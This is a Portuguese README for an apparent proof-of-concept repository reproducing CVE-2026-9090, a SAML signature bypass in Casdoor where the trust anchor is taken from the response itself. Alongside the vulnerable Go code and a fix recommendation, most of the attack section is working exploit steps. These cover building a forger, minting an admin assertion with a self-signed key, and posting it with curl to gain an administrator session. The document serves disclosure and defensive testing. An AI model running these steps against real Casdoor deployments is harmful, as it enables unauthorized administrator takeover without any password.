
PoC para CVE-2026-9090 — bypass de assinatura SAML do Casdoor (CWE-347). Apenas reprodução; coordenado via CERT/CC VU#780781.
Prova de conceito para CVE-2026-9090 (CWE-347, Verificação Incorreta de Assinatura Criptográfica), um bypass de autenticação na plataforma de identidade Casdoor.
Atribuição. O CVE-2026-9090 foi publicado e coordenado pelo CERT/CC — veja VU#780781. Este repositório é uma prova de conceito independente, apenas de reprodução para a vulnerabilidade já pública; ele não reivindica a descoberta do problema.
Quando o Casdoor consome uma resposta SAML em POST /api/acs (login por meio de um provedor SAML externo), a
função buildSpCertificateStore constrói a âncora de confiança da assinatura a partir do <X509Certificate> incorporado
na própria resposta SAML recebida, em vez do certificado registrado para o provedor de identidade.
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
Como a âncora de confiança é extraída da resposta, um atacante pode assinar uma asserção SAML com seu próprio
certificado autoassinado, anexar esse certificado à resposta, e a assinatura é validada contra
si mesma. Definir o NameID como um usuário existente resolve para essa conta — se for um administrador, o atacante
obtém uma sessão de administrador. Nenhuma senha está envolvida.
<= 2.362.0provider.IdP registrado
(buildSpCertificateStore(provider *Provider) não lê mais a resposta). Atualize para uma versão atual.O forge_saml.go constrói uma Resposta SAML completa cuja Asserção é assinada por uma chave autoassinada descartável,
com o certificado dessa chave incorporado em <ds:KeyInfo><ds:X509Certificate>. Ele usa a mesma
biblioteca goxmldsig que o Casdoor usa, portanto a canonicalização e o formato da assinatura são aceitos como estão.
go mod init cve-2026-9090-poc # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
# url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP, ORG e SAML_PROVIDER são o nome do aplicativo, a organização e o provedor SAML vinculado a
esse aplicativo. O registro de um aplicativo do Casdoor (incluindo seus provedores vinculados) pode ser lido em
/api/get-application?id=admin/<name>.
Este PoC é publicado para uma vulnerabilidade corrigida e publicamente divulgada, para testes defensivos, engenharia
de detecção e pesquisa. Execute-o apenas contra sistemas que você está autorizado a testar. A remediação correta
é atualizar o Casdoor para uma versão em que buildSpCertificateStore valide contra o certificado do provedor
registrado.
MIT — veja LICENSE.